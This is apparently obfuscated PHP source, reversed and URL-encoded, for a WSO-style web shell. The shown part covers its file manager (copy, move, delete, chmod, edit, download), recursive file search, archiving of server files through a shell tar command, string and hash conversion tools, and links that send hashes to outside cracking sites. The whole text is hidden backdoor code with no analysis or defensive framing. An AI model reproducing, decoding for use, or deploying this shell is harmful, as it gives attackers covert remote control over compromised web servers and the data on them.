09%09%0D%0A%3B%29%22maerts-tetco%2Fnoitacilppa+%3AepyT-tnetnoC%22%28redaeh++++++++++++++++%0D%0Aesle+%7D%09%09%09%0D%0A%3B%29epyt%24+.+%22+%3AepyT-tnetnoC%22%28redaeh%09%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28epyt_tnetnoc_emim%40+%3D+epyt%24%09%09%09%09%0D%0A%7B+%29%29%22epyt_tnetnoc_emim%22%28stsixe_noitcnuf%28+fi%09%09%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28emanesab.%22%3Demanelif+%3Btnemhcatta+%3AnoitisopsiD-tnetnoC%22%28redaeh%09%09%09%0D%0A%3B%296904+%2C%22reldnahzg_bo%22%28trats_bo%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28elbadaer_si%40+%26%26+%29%5D%271p%27%5BTSOP_%24%28elif_si%40%28fi%09%09%0D%0A%7B+%29%27daolnwod%27%3D%3D%5D%272p%27%5BTSOP_%24%40%28fi%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28edocedlru+%3D+%5D%271p%27%5BTSOP_%24%09%09%0D%0A%29+%29%5D%271p%27%5BTSOP_%24%28tessi+%28fi%09%0D%0A%7B+%29%28slooTseliFnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%22%3Evid%2F%3C%3Emrof%2F%3C%09%09%0D%0A%3Erb%3C%3E%22%5C%29%28timbus.fh.tnemucod%3B%27php.xedni%2Fem.rofkcarc%2F%2F%3Aptth%27%3Dnoitca.fh.tnemucod%22%5C%3Dkcilcno+%27em.rofkcarc%27%3Deulav+%27nottub%27%3Depyt+tupni%3C++++++++++++%0D%0A%3Erb%3C%3E%22%5C%29%28timbus.fh.tnemucod%3B%275dm%3Ds%26%27%2Beulav.hsah.fh.tnemucod%2B%27%3Dq%3F%2Fmoc.ezionder.5dm%2F%2F%3Aptth%27%3Dnoitca.fh.tnemucod%22%5C%3Dkcilcno+%27moc.ezionder.5dm%27%3Deulav+%27nottub%27%3Depyt+tupni%3C%09%09%09%0D%0A%3Erb%3C%3E%22%5C%29%28timbus.fh.tnemucod%3B%27php.xedni%2Fur.gnikcarchsah%2F%2F%3Asptth%27%3Dnoitca.fh.tnemucod%22%5C%3Dkcilcno+%27ur.gnikcarchsah%27%3Deulav+%27nottub%27%3Depyt+tupni%3C%09%09%09%0D%0A%3E%2F%27dnif%27%3Deulav+%27tca%27%3Deman+%27neddih%27%3Depyt+tupni%3C++++++++++++%0D%0A%3Erb%3C%3E%27%3Bxp002%3Ahtdiw%27%3Delyts+%27hsah%27%3Deman+%27txet%27%3Depyt+tupni%3C%09%09%09%0D%0A%3E%27fh%27%3Deman+%27knalb_%27%3Dtegrat+%27tsop%27%3Ddohtem+mrof%3C%09%09%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3C%3Ahsah+rof+hcraeS%3E1h%3C%3Erb%3C%3Evid%2F%3C%22+ohce%09%0D%0A%3B%29%5D%27c%27%5BTSOP_%24%28bolGevisruceRosw%09%09%0D%0A%29%5D%273p%27%5BTSOP_%24%40%28fi%09%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Ea%2F%3C%22.%29meti%24%28srahclaicepslmth.%22%3E%27%29%22%5C%22%5C%2C%22%5Cweiv%22%5C+%2C%22%5C%22.%29meti%24%28edocnelru.%22%22%5C%2Cllun%2C%22%5CslooTseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%22+ohce%09%09%09%09%09%09%0D%0A%29eslaf%3D%3D%21%29%5D%272p%27%5BTSOP_%24+%2C%29meti%24%28stnetnoc_teg_elif%28soprts%40+%7C%7C+%29%5D%272p%27%5BTSOP_%24%28ytpme%28fi%09%09%09%09%09%0D%0A%7B+esle+%7D%09%09%09%09%0D%0A%3B%29meti%24%28bolGevisruceRosw%09%09%09%09%09%09%0D%0A%29meti%24%3D%21htap%24%28fi%09%09%09%09%09%0D%0A%7B%29%29meti%24%28rid_si%40%28fi%09%09%09%09%0D%0A%7B+%29meti%24+sa+shtap%24%28hcaerof%09%09%09%0D%0A%7B+%29%29shtap%24%28tnuoc%40%26%26%29shtap%24%28yarra_si%28fi%09%09%0D%0A%3B%29%29%29RIDYLNO_BOLG+%2C%27%2A%27.htap%24%28bolg%40+%2C%29%5D%273p%27%5BTSOP_%24.htap%24%28bolg%40%28egrem_yarra%40%28euqinu_yarra%40+%3D+shtap%24%09%09%0D%0A%3B%27%2F%27%3D.htap%24%09%09%09%0D%0A%29%27%2F%27+%3D%21+%291-+%2Chtap%24%28rtsbus%28fi%09%09%0D%0A%7B+%29htap%24%28bolGevisruceRosw+noitcnuf%09%0D%0A%0D%0A%3B%22%3Emrof%2F%3C%3Eelbat%2F%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%3E%3E%27%3Deulav+%27timbus%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%25001%3Ahtdiw%27%3Delyts+%27%2A%27%3Deulav+%27emanelif%27%3Deman+%27txet%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3AemaN%3Edt%3C%3Ert%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%25001%3Ahtdiw%27%3Delyts+%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.%22%27%3Deulav+%27dwc%27%3Deman+%27txet%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3AhtaP%3Edt%3C%3Ert%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%25001%3Ahtdiw%27%3Delyts+%27txet%27%3Deman+%27txet%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3AtxeT%3E%27%251%27%3Dhtdiw+dt%3C%3Ert%3C%09%09%09%0D%0A%3E%27%2505%27%3Dhtdiw+%270%27%3Dgnicapsllec+%271%27%3Dgniddapllec+elbat%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.emanelif.siht%2Ceulav.txet.siht%2Cllun%2Ceulav.dwc.siht%2Cllun%28g%22%5C%3Dtimbusno+mrof%3C%09%09%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3C%3Aselif+hcraeS%3E1h%3C%3Erb%3C%3Evid%2F%3C%3Eerp%2F%3C%22ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%5D%272p%27%5BTSOP_%24%28%5D%271p%27%5BTSOP_%24%28srahclaicepslmth+ohce%29%29slooTgnirts%24+%2C%5D%271p%27%5BTSOP_%24%28yarra_ni%28fi%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%22%3E%27tuptuOrts%27%3Ddi+%27xp5%3Apot-nigram%22.%29%27%27%3A%27%3Benon%3Ayalpsid%27%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%28.%22%27%3Delyts+%271lm%27%3Dssalc+erp%3C%3Emrof%2F%3C%3Eaeratxet%2F%3C%22.%29%29%5D%272p%27%5BTSOP_%24%40%28srahclaicepslmth%3A%27%27%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%28.%22%3Eaeragib%3Dssalc+%27xp5%3Apot-nigram%27%3Delyts+%27tupni%27%3Deman+aeratxet%3C%3Erb%3CXAJA+gnisu+dnes+%3E+1%3Deulav+xaja%3Deman+xobkcehc%3Depyt+tupni%3C+%3E%2F%27%3E%3E%27%3Deulav+%27timbus%27%3Depyt+tupni%3C%3Etceles%2F%3C%22+ohce%09%09%0D%0A%3B%22%3Enoitpo%2F%3C%22.k%24.%22%3E%27%22.%29v%24%28srahclaicepslmth.%22%27%3Deulav+noitpo%3C%22+ohce%09%09%0D%0A%29v%24+%3E%3D+k%24+sa+slooTgnirts%24%28hcaerof%09%0D%0A%3B%22%3E%27looTtceles%27%3Deman+tceles%3C%3E%27%3Beslaf+nruter+%7D%3B%29eulav.tupni.siht%2Ceulav.looTtceles.siht%2Cllun%2Cllun%28g%7Besle%7D%3B%29eulav.tupni.siht%2Ceulav.looTtceles.siht%2Cllun%2Cllun%28a%7B%29dekcehc.xaja.siht%28fi%27%3DtimbuSno+%27mroFsloot%27%3Deman+mrof%3C%22+ohce%09%0D%0A%3B%27%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Csnoisrevnoc+gnirtS%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%3B%290+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%26%26%29%5D%27xaja%27%5BTSOP_%24%28ytpme%28fi++++%0D%0A%7D%09%0D%0A%3Btixe%09%09%0D%0A%3Bpmet%24+%2C%22n%5C%22+%2C%29pmet%24%28nelrts+ohce%09%09%0D%0A%3B%22n%5C%3B%27%22.%29%220%5C%27%5C%5Ct%5Cr%5Cn%5C%22%2C%29%29%28naelc_teg_bo%28srahclaicepslmth%28sehsalscdda.%22%27%3DLMTHrenni.%29%27tuptuOrts%27%28dIyBtnemelEteg.tnemucod%3B%27%27%3Dyalpsid.elyts.%29%27tuptuOrts%27%28dIyBtnemelEteg.tnemucod%22+%3D+pmet%24%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28%5D%271p%27%5BTSOP_%24+ohce%09%09%09%0D%0A%29%29slooTgnirts%24+%2C%5D%271p%27%5BTSOP_%24%28yarra_ni%28fi%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%29eurt+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%7B+%29%29%5D%27xaja%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%29%09%0D%0A%2C%27nelrts%27+%3E%3D+%27htgnel+gnirtS%27%09%09%0D%0A%2C%27srahclaicepslmth%27+%3E%3D+%27srahclaicepslmtH%27%09%09%0D%0A%2C%27reppuotrts%27+%3E%3D+%27esac+reppu+ot+gnirtS%27%09%09%0D%0A%2C%27rewolotrts%27+%3E%3D+%27esac+rewol+ot+gnirtS%27%09%09%0D%0A%2C%27cednib%27+%3E%3D+%27CED+ot+NIB%27%09%09%0D%0A%2C%27xehnib%27+%3E%3D+%27XEH+ot+NIB%27%09%09%0D%0A%2C%27nibced%27+%3E%3D+%27NIB+ot+CED%27%09%09%0D%0A%2C%27xehced%27+%3E%3D+%27XEH+ot+CED%27%09%09%0D%0A%2C%27nib2xeh%27+%3E%3D+%27NIB+ot+XEH%27%09%09%0D%0A%2C%27cedxeh%27+%3E%3D+%27CED+ot+XEH%27%09%09%0D%0A%2C%27iicsa2xeh%27+%3E%3D+%27IICSA+ot+XEH%27%09%09%0D%0A%2C%27xeh2iicsa%27+%3E%3D+%27XEH+ot+IICSA%27%09%09%0D%0A%2C%2723crc%27+%3E%3D+%2723CRC%27%09%09%0D%0A%2C%27tpyrc%27+%3E%3D+%27tpyrc%27%09%09%0D%0A%2C%271ahs%27+%3E%3D+%27hsah+1ahs%27%09%09%0D%0A%2C%275dm%27+%3E%3D+%27hsah+5dm%27%09%09%0D%0A%2C%27edocnelru_lluf%27+%3E%3D+%27edocnelru+lluF%27%09%09%0D%0A%2C%27edocedlru%27+%3E%3D+%27edoced+lrU%27%09%09%0D%0A%2C%27edocnelru%27+%3E%3D+%27edocne+lrU%27%09%09%0D%0A%2C%27edoced_46esab%27+%3E%3D+%27edoced+46esaB%27%09%09%0D%0A%2C%27edocne_46esab%27+%3E%3D+%27edocne+46esaB%27%09%09%0D%0A%28yarra+%3D+slooTgnirts%24%09%0D%0A%7D%7D%3B%29r%24%28reppuotrts+nruter%3B%29%29%5Di%24%5Bp%24%28dro%28xehced.%27%25%27+%3D.r%24%29i%24%2B%2B%3B%29p%24%28nelrts%3Ci%24%3B0%3Di%24%28rof%3B%27%27%3Dr%24%7B%29p%24%28edocnelru_lluf+noitcnuf%7B+%29%29%27edocnelru_lluf%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7D%7D%3B%29r%24%28reppuotrts+nruter%3B%29%29%5Di%24%5Bp%24%28dro%2C%27X20%25%27%28ftnirps+%3D.r%24%29i%24%2B%2B%3B%29p%24%28nelrts%3Ci%24%3B0%3Di%24%28rof%3B%27%27%3Dr%24%7B%29p%24%28xeh2iicsa+noitcnuf%7B+%29%29%27xeh2iicsa%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7D%7D%3Br%24+nruter%7D%3B%29%29%5D1%2Bi%24%5Bp%24.%5Di%24%5Bp%24%28cedxeh%28rhc%3D.r%24%7B%292%3D%2Bi%24%3B%29p%24%28neLrts%3Ci%24%3B0%3Di%24%28rof%3B%27%27%3Dr%24%7B%29p%24%28iicsa2xeh+noitcnuf%7B+%29%29%27iicsa2xeh%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7D%7D%3B%29%29p%24%28cednib%28xehced+nruter%7B+%29p%24%28xehnib+noitcnuf%7B+%29%29%27xehnib%27%28stsixe_noitcnuf%21%28fi++++%0D%0A%7D%7D%3B%29%29p%24%28cedxeh%28nibced+nruter%7B+%29p%24%28nib2xeh+noitcnuf%7B+%29%29%27nib2xeh%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7B+%29%28slooTgnirtSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%22%3Evid%2F%3C%3Eelbat%2F%3C%3Emrof%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%27%3E%3E%27%3Deulav+%27timbus%27%3Depyt+tupni%3C%22+ohce++++%0D%0A%3B%22%3Bpsbn%26%3E%27%22+.+%29%27zg.rat%27%3A%27piz%27%3F%27piz%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28+.+%22.%22+.+%29%22siH_dmY%22%28etad+.+%22_osw%27%3Deulav+2p%3Deman+txet%3Depyt+tupni%3C+%3Aeman+elif%22+ohce++++++++%0D%0A%29%29%29%27rat%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28+%7C%7C+%29%27piz%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28%28+%26%26+%29%5D%27f%27%5BEIKOOC_%24%28tnuoc%40+%26%26+%29%5D%27tca%27%5BEIKOOC_%24%28ytpme%21%28fi++++%0D%0A%3B%22%3Bpsbn%26%3Etceles%2F%3C%22+ohce++++%0D%0A%3B%22%3Enoitpo%2F%3CsserpmoC+%2F+etsaP%3E%27etsap%27%3Deulav+noitpo%3C%22+ohce++++++++%0D%0A%29%29%5D%27f%27%5BEIKOOC_%24%28tnuoc%40+%26%26+%29%5D%27tca%27%5BEIKOOC_%24%28ytpme%21%28fi++++%0D%0A%3B%22%3Enoitpo%2F%3C%29zg.rat%28+sserpmoC%3E%27rat%27%3Deulav+noitpo%3C%22+ohce++++%0D%0A%3B%22%3Enoitpo%2F%3C%29piz%28+sserpmocnU%3E%27piznu%27%3Deulav+noitpo%3C%3Enoitpo%2F%3C%29piz%28+sserpmoC%3E%27piz%27%3Deulav+noitpo%3C%22+ohce++++++++%0D%0A%29%29%27evihcrApiZ%27%28stsixe_ssalc%28fi++++%0D%0A%3B%22%3Enoitpo%2F%3CeteleD%3E%27eteled%27%3Deulav+noitpo%3C%3Enoitpo%2F%3CevoM%3E%27evom%27%3Deulav+noitpo%3C%3Enoitpo%2F%3CypoC%3E%27ypoc%27%3Deulav+noitpo%3C%3E%271p%27%3Deman+tceles%3C%09%0D%0A%3E%27%22.%29%27%27%3A%5D%27tesrahc%27%5BTSOP_%24%3F%29%5D%27tesrahc%27%5BTSOP_%24%28tessi%28+.%22%27%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%09%0D%0A%3E%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.+%22%27%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%09%0D%0A%3E%27naMseliF%27%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%09%0D%0A%3E7%3Dnapsloc+dt%3C%3Ert%3C%22+ohce%09%0D%0A%7D%09%0D%0A%3B1%3A0%3Fl%24+%3D+l%24%09%09%0D%0A%3B%27%3Ert%2F%3C%3Edt%2F%3C%27.%29%27%27%3A%27%3Ea%2F%3CD%3E%22%29%27%5Cdaolnwod%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%3Ea%2F%3CE%3E%22%29%27%5Ctide%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%27%3F%29%27elif%27%3D%3D%5D%27epyt%27%5Bf%24%28%28.%27%3Ea%2F%3CT%3E%22%29%27%5Chcuot%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%3Ea%2F%3CR%3E%22%29%27%5Cemaner%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C%3Edt%3C%3Edt%2F%3C%27.%09%09%09%0D%0A%5D%27smrep%27%5Bf%24.%27%3E%22%29%27%5Cdomhc%27%5C%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%23%3Dferh+a%3C%3Edt%3C%3Edt%2F%3C%27.%5D%27puorg%27%5Bf%24.%27%2F%27.%5D%27renwo%27%5Bf%24.%27%3Edt%3C%3Edt%2F%3C%27.%5D%27yfidom%27%5Bf%24.%27%3Edt%3C%3Edt%2F%3C%27.%29%5D%27epyt%27%5Bf%24%3A%29%5D%27ezis%27%5Bf%24%28eziSweiVosw%3F%29%27elif%27%3D%3D%5D%27epyt%27%5Bf%24%28%28.%27%3Edt%3C%3Edt%2F%3C%3Ea%2F%3C%27.%29%27%3Eb%2F%3C%5D+%27+.+%29%5D%27eman%27%5Bf%24%28srahclaicepslmth+.+%27+%5B%3Eb%3C%3E%27+.+%29%22%27%7D%5D%27knil%27%5Bf%24%7B%27%3Deltit%22+%3A+%27%27+%3F+%29%5D%27knil%27%5Bf%24%28+ytpme%28+.+%27+%22%3B%29%27%5C%27.%5D%27htap%27%5Bf%24.%27%27%5C%2C%27%5CnaMseliF%27%5C%28g%27%3A%29%5D%27eman%27%5Bf%24%28srahclaicepslmth.%27%3E%22%29%27%5Cweiv%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%27%3F%29%27elif%27%3D%3D%5D%27epyt%27%5Bf%24%28%28.%27%22%3Dkcilcno+%23%3Dferh+a%3C%3Edt%3C%3Edt%2F%3C%3Exbkhc%3Dssalc+%22%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%22%3Deulav+%22%5D%5Bf%22%3Deman+xobkcehc%3Depyt+tupni%3C%3Edt%3C%3E%27.%29%27%27%3A%271l%3Dssalc+%27%3Fl%24%28.%27rt%3C%27+ohce%09%09%0D%0A%7B+%29f%24+sa+selif%24%28hcaerof%09%0D%0A%3B0+%3D+l%24%09%0D%0A%3B%29selif%24+%2Csrid%24%28egrem_yarra+%3D+selif%24%09%0D%0A%3B%29%22pmCosw%22+%2Csrid%24%28trosu%09%0D%0A%3B%29%22pmCosw%22+%2Cselif%24%28trosu%09%0D%0A%7D%09%0D%0A%3B%291-%3A1%3F%5D1%5B%5D%27tros%27%5BSLABOLG%24%28%2A%291+%3A+1-+%3F+%29%5D%27ezis%27%5Bb%24+%3C+%5D%27ezis%27%5Ba%24%28%28+nruter%09%09%09%0D%0Aesle%09%09%0D%0A%3B%291-%3A1%3F%5D1%5B%5D%27tros%27%5BSLABOLG%24%28%2A%29%29%5D%5D0%5B%5D%27tros%27%5BSLABOLG%24%5Bb%24%28rewolotrts+%2C%29%5D%5D0%5B%5D%27tros%27%5BSLABOLG%24%5Ba%24%28rewolotrts%28pmcrts+nruter%09%09%09%0D%0A%29%27ezis%27+%3D%21+%5D0%5B%5D%27tros%27%5BSLABOLG%24%28fi%09%09%0D%0A%7B+%29b%24+%2Ca%24%28pmCosw+noitcnuf%09%0D%0A%3Btros%24+%3D+%5D%27tros%27%5BSLABOLG%24%09%0D%0A%7D%09%0D%0A%3B%29%29%27rid%27+%3E%3D+%27epyt%27%28yarra+%2Cpmt%24%28egrem_yarra+%3D+%5D%5Bsrid%24%09%09%09%0D%0A%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28rid_si%40%28fiesle%09%09%0D%0A%3B%29%29%29%5D%27htap%27%5Bpmt%24%28knildaer+%3E%3D+%27knil%27+%2C%27knil%27+%3E%3D+%27epyt%27%28yarra+%2Cpmt%24%28egrem_yarra+%3D+%5D%5Bsrid%24%09%09%09%0D%0A%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28knil_si%40%28fiesle%09%09%0D%0A%3B%29%29%27elif%27+%3E%3D+%27epyt%27%28yarra+%2Cpmt%24%28egrem_yarra+%3D+%5D%5Bselif%24%09%09%09%0D%0A%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28elif_si%40%28fi%09%09%0D%0A%3B%29%09%09%09%09%09%0D%0A%29%5Di%24%5BtnetnoCrid%24%28puorgelif%40%3A%5D%27eman%27%5Brg%24%3F%5D%27eman%27%5Brg%24+%3E%3D+%27puorg%27+%09%09%09%09%09%0D%0A%2C%29%5Di%24%5BtnetnoCrid%24%28renwoelif%40%3A%5D%27eman%27%5Bwo%24%3F%5D%27eman%27%5Bwo%24+%3E%3D+%27renwo%27+%09%09%09%09%09%0D%0A%2C%29%5Di%24%5BtnetnoCrid%24.%5D%27dwc%27%5BSLABOLG%24%28eziselif%40+%3E%3D+%27ezis%27+%09%09%09%09%09%0D%0A%2C%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28roloCsmrePosw+%3E%3D+%27smrep%27+%09%09%09%09%09%0D%0A%2C%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28emitmelif%40+%2C%27s%3Ai%3AH+d-m-Y%27%28etad+%3E%3D+%27yfidom%27+%09%09%09%09%09%0D%0A%2C%5Di%24%5BtnetnoCrid%24.%5D%27dwc%27%5BSLABOLG%24+%3E%3D+%27htap%27+%09%09%09%09%09%0D%0A%2C%5Di%24%5BtnetnoCrid%24+%3E%3D+%27eman%27%28yarra+%3D+pmt%24%09%09%0D%0A%3B%29%29%5Di%24%5BtnetnoCrid%24%28puorgelif%40%28digrgteg_xisop%40+%3D+rg%24%09%09%0D%0A%3B%29%29%5Di%24%5BtnetnoCrid%24%28renwoelif%40%28diuwpteg_xisop%40+%3D+wo%24%09%09%0D%0A%7B+%29%2B%2Bi%24%3Bn%24%3Ci%24%3B0%3Di%24%28rof%09%0D%0A%3B%29tnetnoCrid%24%28tnuoc+%3D+n%24%09%0D%0A%3B%29%28yarra+%3D+selif%24+%3D+srid%24%09%0D%0A%3B%22%3Ert%2F%3C%3Eht%2F%3CsnoitcA%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CsnoissimreP%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_smrep_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3CpuorG%2FrenwO%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CyfidoM%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_yfidom_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CeziS%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_ezis_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CemaN%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_eman_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3C%3Exbkhc%3Dssalc+%27%29%28as%27%3Dkcilcno+xobkcehc%3Depyt+tupni%3C%3E%27xp31%27%3Dhtdiw+ht%3C%3Ert%3C%3Etsop%3Ddohtem+selif%3Deman+mrof%3C%0D%0A%3E%272%27%3Dgniddapllec+%270%27%3Dgnicapsllec+%27niam%27%3Dssalc+%27%25001%27%3Dhtdiw+elbat%3C%0D%0A%3Etpircs%2F%3C%0D%0A%7D%09%0D%0A%3Bdekcehc.%5D0%5Bstnemele.selif.d+%3D+dekcehc.%5Di%5Bstnemele.selif.d%09%09%09%09%0D%0A%29%27xobkcehc%27+%3D%3D+epyt.%5Di%5Bstnemele.selif.d%28fi%09%09%09%0D%0A%29%2B%2Bi%3Bhtgnel.stnemele.selif.d%3Ci%3B0%3Di%28rof%09%09%0D%0A%7B+%29%28as+noitcnuf%09%0D%0A%3Etpircs%3C%22+ohce%0D%0A%7D%09%0D%0A%3B%29%5D2%5Bhctam%24%29tni%28+%2C%5D1%5Bhctam%24%28yarra+%3D+tros%24%09%09%09%0D%0A%29%29hctam%24+%2C%5D%271p%27%5BTSOP_%24+%2C%27%21%29%7D1%7Bd%5C%28_%29%2B%5Dz-A%5B%28_s%21%27%28hctam_gerp%28fi%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%291+%2C%27eman%27%28yarra+%3D+tros%24%09%0D%0A%3Btros%24+labolg%09%0D%0A%7D+%3Bnruter+%3B%29%28retooFosw%3B%27%21redlof+siht+nepo+t%27%5CnaC%27+ohce%09%7B+%29eslaf+%3D%3D%3D+tnetnoCrid%24%28fi%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%3A%5D%27c%27%5BTSOP_%24%3F%29%5D%27c%27%5BTSOP_%24%28tessi%28ridnacSosw+%3D+tnetnoCrid%24%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%22%22%3D_3p%3D_2p%3D_1p%3Etpircs%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Creganam+eliF%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw++++%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29%5D%27c%27%5BTSOP_%24%40+%2C%27c%27%28eikooctesOSW%09%09%09%09%09%0D%0A%3B%29%29%5D%27f%27%5BTSOP_%24%40%28ezilaires+%2C%27f%27%28eikooctesOSW%09%09%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24+%2C%27tca%27%28eikooctesOSW%09%09%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi++++++++++++++++%0D%0A%3Atluafed%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%290063+-+%29%28emit+%2C%27%27+%2C%27f%27%28eikooctes++++++++++++++++%0D%0A%3B%29%5D%27f%27%5BEIKOOC_%24%28tesnu%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ridhc++++++++++++++++++++%0D%0A%3B%29%29%5D%27f%27%5BEIKOOC_%24+%2C%27+%27%28edolpmi+.+%27+%27+.+%29%5D%272p%27%5BTSOP_%24%28grallehsepacse+.+%27+vzfc+rat%27%28xEosw++++++++++++++++++++%0D%0A%3B%29%5D%27f%27%5BEIKOOC_%24+%2C%27grallehsepacse%27%28pam_yarra+%3D+%5D%27f%27%5BEIKOOC_%24++++++++++++++++++++%0D%0A%3B%29%5D%27c%27%5BEIKOOC_%24%28ridhc++++++++++++++++++++%0D%0A%7B+%29%27rat%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%7D++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++%0D%0A%3B%29%28esolc%3E-piz%24++++++++++++++++++++++++++++++++%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28oTtcartxe%3E-piz%24++++++++++++++++++++++++++++++++%0D%0A%7B+%29%29f%24.%5D%27c%27%5BEIKOOC_%24%28nepo%3E-piz%24%28fi++++++++++++++++++++++++++++%0D%0A%7B+%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof++++++++++++++++++++++++%0D%0A%3B%29%28evihcrApiZ+wen+%3D+piz%24++++++++++++++++++++++++%0D%0A%7B+%29%29%27evihcrApiZ%27%28stsixe_ssalc%28fi%09%09%09%09